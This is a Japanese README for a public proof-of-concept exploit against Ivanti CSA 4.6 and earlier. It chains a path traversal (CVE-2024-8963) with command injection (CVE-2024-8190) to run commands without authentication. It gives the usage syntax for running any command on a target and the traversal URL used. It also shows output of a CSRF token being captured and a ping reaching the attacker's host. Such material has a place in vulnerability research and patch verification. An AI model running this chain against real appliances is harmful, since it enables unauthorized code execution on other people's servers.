
CVE-2024-8963 と CVE-2024-8190 の組み合わせ - Ivanti CSA 4.6 以前における未認証 RCE
CVE-2024-8963 & CVE-2024-8190 の組み合わせ - Ivanti CSA 4.6 以前における認証なし RCE の PoC。
CVE-2024-8963
Ivanti CSA 4.6 Patch 519 より前のパス横断により、リモートの認証されていない攻撃者が制限された機能にアクセスできる可能性があります。
CVE-2024-8190
Ivanti Cloud Services Appliance バージョン 4.6 Patch 518 以前の OS コマンドインジェクションの脆弱性により、リモートの認証された攻撃者がリモートコード実行を達成できる可能性があります。攻撃者はこの脆弱性を悪用するために管理者レベルの権限を持っている必要があります。
この PoC は2つを組み合わせて、CVE-2024-8190 が認証なしで悪用できることを実証します。
python3 ./cve-2024-8190.py <target_url> '<CMD>'
$ python3 ./cve-2024-8190.py https://<target> 'ping -c 4 <attacker>'
[!] WARNING: This script is for authorized testing and educational purposes only. Unauthorized use is illegal.
[*] Fetching https://<target>/client/index.php%3F.php/gsb/datetime.php...
[+] Got LDCSA_CSRF value: sid:483045<REMOVED>
[*] Sending payload...
[!] Request timed out. Check if the command executed on the target.
$ sudo tcpdump -n "icmp" -l
11:43:15.135004 IP <target> > <attacker> ICMP echo request, id 30001, seq 1, length 64
11:43:16.135647 IP <target> > <attacker>: ICMP echo request, id 30001, seq 2, length 64
11:43:17.137707 IP <target> > <attacker>: ICMP echo request, id 30001, seq 3, length 64
11:43:18.137085 IP <target> > <attacker>: ICMP echo request, id 30001, seq 4, length 64
主に基づいている Horizon3.ai の CVE-2024-8190 PoC:
https://github.com/horizon3ai/CVE-2024-8190
ProjectDiscovery の CVE-2024-8963.yaml 用 nuclei テンプレート:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml
P.S. ProjectDiscovery は最高です!
バカなことをするな。
このソフトウェアは、学術研究と効果的な防御技術の開発のみを目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクト保守者は、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。